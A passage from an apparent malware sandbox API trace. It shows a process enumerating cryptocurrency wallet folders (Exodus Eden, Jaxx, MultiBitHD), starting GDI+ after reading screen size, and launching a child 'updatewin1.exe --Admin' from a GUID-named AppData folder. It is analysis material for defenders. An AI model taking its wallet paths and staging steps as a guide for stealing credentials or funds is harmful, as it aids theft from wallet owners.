psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x5201d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x5201d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0061.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.953] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0061.953] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.954] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.954] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.954] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Jaxx\\Local Storage\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 0x42 [0061.954] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0061.954] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.955] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.955] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.955] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\MultiBitHD\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MultiBitHD\\") returned 0x3a [0061.955] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MultiBitHD\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.955] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.955] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.955] GetSystemMetrics (nIndex=1) returned 900 [0061.955] GetSystemMetrics (nIndex=0) returned 1440 [0061.955] GdiplusStartup (token=0x18e674, input=0x18e64c, output=0x0) Thread: id = 63 os_tid = 0xb6c Thread: id = 64 os_tid = 0xb70 Thread: id = 65 os_tid = 0xb74 Thread: id = 66 os_tid = 0xb78 Thread: id = 67 os_tid = 0xb7c Thread: id = 68 os_tid = 0xb80 Thread: id = 69 os_tid = 0xb84 Process: id = "10" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" page_root = "0x2fea3000" os_pid = "0xb3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb04" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 57 os_tid = 0xb40 [0052.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xab7ce350, dwHighDateTime=0x1d53993)) [0052.069] GetCurrentProcessId () returned 0xb3c [0052.069] GetCurrentThreadId () returned 0xb40 [0052.069] GetTickCount () returned 0x1bc6b [0052.069] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17233835888) returned 1 [0052.076] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.076] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2b0000 [0052.077] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.077] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.077] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.077] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.077] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0052.077] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.077] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.077] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.078] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.078] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.078] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.078] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.078] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.078] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.078] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.079] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.079] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.079] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.079] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x214) returned 0x2b07d0 [0052.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.079] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.080] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.080] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.080] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.080] GetCurrentThreadId () returned 0xb40 [0052.080] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.080] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x800) returned 0x2b09f0 [0052.080] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.080] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.080] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.080] SetHandleCount (uNumber=0x20) returned 0x20 [0052.080] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin" [0052.080] GetEnvironmentStringsW () returned 0x5d4e78* [0052.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0052.081] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x565) returned 0x2b11f8 [0052.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2b11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0052.081] FreeEnvironmentStringsW (penv=0x5d4e78) returned 1 [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] GetACP () returned 0x4e4 [0052.081] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x220) returned 0x2b1768 [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0052.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.081] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0052.081] GetLastError () returned 0x0 [0052.081] SetLastError (dwErrCode=0x0) [0052.081] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0052.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㤕꠬㞕AĀ") returned 256 [0052.082] 